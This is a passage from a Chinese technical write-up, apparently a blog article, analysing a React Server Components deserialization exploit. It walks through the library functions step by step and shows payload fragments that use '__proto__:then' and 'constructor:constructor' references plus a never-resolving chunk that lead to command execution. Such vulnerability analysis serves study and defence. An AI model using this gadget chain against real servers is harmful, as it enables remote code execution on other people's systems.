Chunk，正常情况下 chunk 的值是普通数据：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">] = {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">status</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;fulfilled&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">value</span></span><span leaf="">: {</span><span style="line-height: 26px;"><span leaf="">id</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;123&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">name</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;test&#34;</span></span><span leaf="">},  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← 普通对象</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而这里的就是特殊情况，chunk 的值是另一个 Chunk：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">] = {</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">status</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;fulfilled&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">value</span></span><span leaf="">: chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">],  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← 另一个 Chunk 对象！</span></span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以在上面 poc 中，引用关系如下：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">: {...}</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">chunk[0] 包含 </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$1</span></span><span leaf="">:__proto__:then&#34;</span></span><span leaf=""><br/></span><span leaf="">  ↓ 解析 </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$1</span></span><span leaf="">:...&#34;</span></span><span leaf=""><br/></span><span leaf="">  ↓ 引用 chunk[1]</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">chunk[1] 的值是 </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">  ↓ 解析 </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span><span leaf=""><br/></span><span leaf="">  ↓ 引用 chunk[2748]</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">chunk[2748] = PENDING (没有对应的数据)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">等待... (永远不会到来)</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">因为制造了永远不会被满足的依赖，所以导致整个 getRoot() 关联的 promise 永远不 resolve。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这也就导致了，我们打这个 payload 的时候，如果不做错误抛出，虽然命令执行成功了，但还是会卡在那里。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">继续，</span><strong style="font-weight: bold;color: black;"><span leaf="">步骤七：初始化 chunk[0]，initializeModelChunk</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">initializeModelChunk(chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> resolvedModel = chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].value;</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#39;{&#34;then&#34;:&#34;$1:__proto__:then&#34;,&#34;status&#34;:&#34;resolved_model&#34;,...}&#39;</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">].status = BLOCKED;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 设置为 BLOCKED</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> rawModel = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">JSON</span></span><span leaf="">.parse(resolvedModel);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// rawModel = {</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   then: &#34;$1:__proto__:then&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   status: &#34;resolved_model&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   reason: 0,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   value: &#39;{&#34;then&#34;:&#34;$B&#34;}&#39;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   _response: {</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//     _prefix: &#34;恶意代码&#34;,</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//     _formData: {get: &#34;$1:constructor:constructor&#34;}</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//   }</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// }</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> value = reviveModel(response, {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">: rawModel}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">);</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤八：reviveModel 递归处理对象</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reviveModel(response, {</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">: rawModel}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> rawModel === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  遍历对象的所有属性</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> k </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> rawModel) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k 依次为：</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// - &#34;then&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// - &#34;status&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// - &#34;reason&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// - &#34;value&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// - &#34;_response&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> newValue = reviveModel(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      rawModel,</span><span leaf=""><br/></span><span leaf="">      k,</span><span leaf=""><br/></span><span leaf="">      rawModel[k],</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:&#34;</span></span><span leaf=""> + k</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 设置新值</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (newValue !== </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">undefined</span></span><span leaf=""> || k === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;__proto__&#39;</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">      rawModel[k] = newValue;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">步骤九：处理 &#34;then&#34;: &#34;$1:</span><strong style="font-weight: bold;color: black;"><span leaf="">proto</span></strong><span leaf="">:then&#34;</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;then&#34;, rawModel[k] = &#34;$1:__proto__:then&#34;</span></span><span leaf=""><br/></span><span leaf="">reviveModel(response, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$1:__proto__:then&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:then&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  typeof </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$1:__proto__:then&#34;</span></span><span leaf=""> === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;string&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  parseModelString(response, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$1:__proto__:then&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:then&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  value[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">] === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;$&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  value[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">] === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;1&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""> (不是特殊标记)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">default</span></span><span leaf="">: {  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 处理路径引用</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> ref = value.slice(</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;1:__proto__:then&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> getOutlinedModel(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:__proto__:then&#34;</span></span><span leaf="">,  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// ← reference</span></span><span leaf=""><br/></span><span leaf="">      rawModel,             </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObject</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">,               </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span leaf="">      createModel,          </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// map 函数</span></span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤十：getOutlinedModel 处理路径</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">getOutlinedModel(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:__proto__:then&#34;</span></span><span leaf="">, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">, createModel)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:__proto__:then&#34;</span></span><span leaf="">.split(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;:&#39;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// path = [&#34;1&#34;, &#34;__proto__&#34;, &#34;then&#34;]</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">16</span></span><span leaf="">) = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = getChunk(response, </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">);  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// chunk[1]</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (chunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> INITIALIZED:</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> value = chunk.value;</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  chunk[1].value = chunk[2748]（PENDING）</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  遍历路径</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; </span><span style="line-height: 26px;"><span leaf="">3</span></span><span leaf="">; i++) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// i = 1:</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = path[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;__proto__&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  检查 value 的类型</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (value </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">instanceof</span></span><span leaf=""> ReactPromise) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> referencedChunk = value;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// chunk[2748]</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (referencedChunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> PENDING:</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  chunk[2748] 是 PENDING 状态</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 需要等待初始化</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 但 chunk[2748] 不存在对应的数据，永远不会初始化 就会卡住</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 实际上，这里会调用 waitForReference</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> waitForReference(</span><span leaf=""><br/></span><span leaf="">                referencedChunk,  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// chunk[2748]</span></span><span leaf=""><br/></span><span leaf="">                rawModel,         </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObject</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">,           </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span leaf="">                response,</span><span leaf=""><br/></span><span leaf="">                createModel,</span><span leaf=""><br/></span><span leaf="">                [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">]  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 剩余路径</span></span><span leaf=""><br/></span><span leaf="">              );</span><span leaf=""><br/></span><span leaf="">          }</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里就到了我们刚才分析的关键点，也是 gadget 的核心的地方。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤十一：waitForReference 添加监听器</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">waitForReference(</span><span leaf=""><br/></span><span leaf="">  chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">],  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// PENDING chunk</span></span><span leaf=""><br/></span><span leaf="">  rawModel,     </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObject</span></span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">,       </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// key</span></span><span leaf=""><br/></span><span leaf="">  response,</span><span leaf=""><br/></span><span leaf="">  createModel,</span><span leaf=""><br/></span><span leaf="">  [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  创建或获取 handler</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> handler;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (initializingHandler) {</span><span leaf=""><br/></span><span leaf="">    handler = initializingHandler;</span><span leaf=""><br/></span><span leaf="">    handler.deps++;</span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    handler = initializingHandler = {</span><span leaf=""><br/></span><span leaf="">      chunk: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">      value: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">      reason: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">      deps: </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">      errored: </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">false</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    };</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 创建引用对象</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> reference = {</span><span leaf=""><br/></span><span leaf="">    handler,</span><span leaf=""><br/></span><span leaf="">    parentObject: rawModel,</span><span leaf=""><br/></span><span leaf="">    key: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    map: createModel,</span><span leaf=""><br/></span><span leaf="">    path: [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;__proto__&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">],</span><span leaf=""><br/></span><span leaf="">  };</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  添加到 chunk[2748] 的监听器</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">].value === </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">].value = [reference];</span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">].value.push(reference);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">].reason === </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">    chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">].reason = [reference];</span><span leaf=""><br/></span><span leaf="">  } </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">].reason.push(reference);</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 返回占位值</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">any</span></span><span leaf="">);</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">步骤十二：reviveModel 继续处理其他属性</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 回到 reviveModel</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span 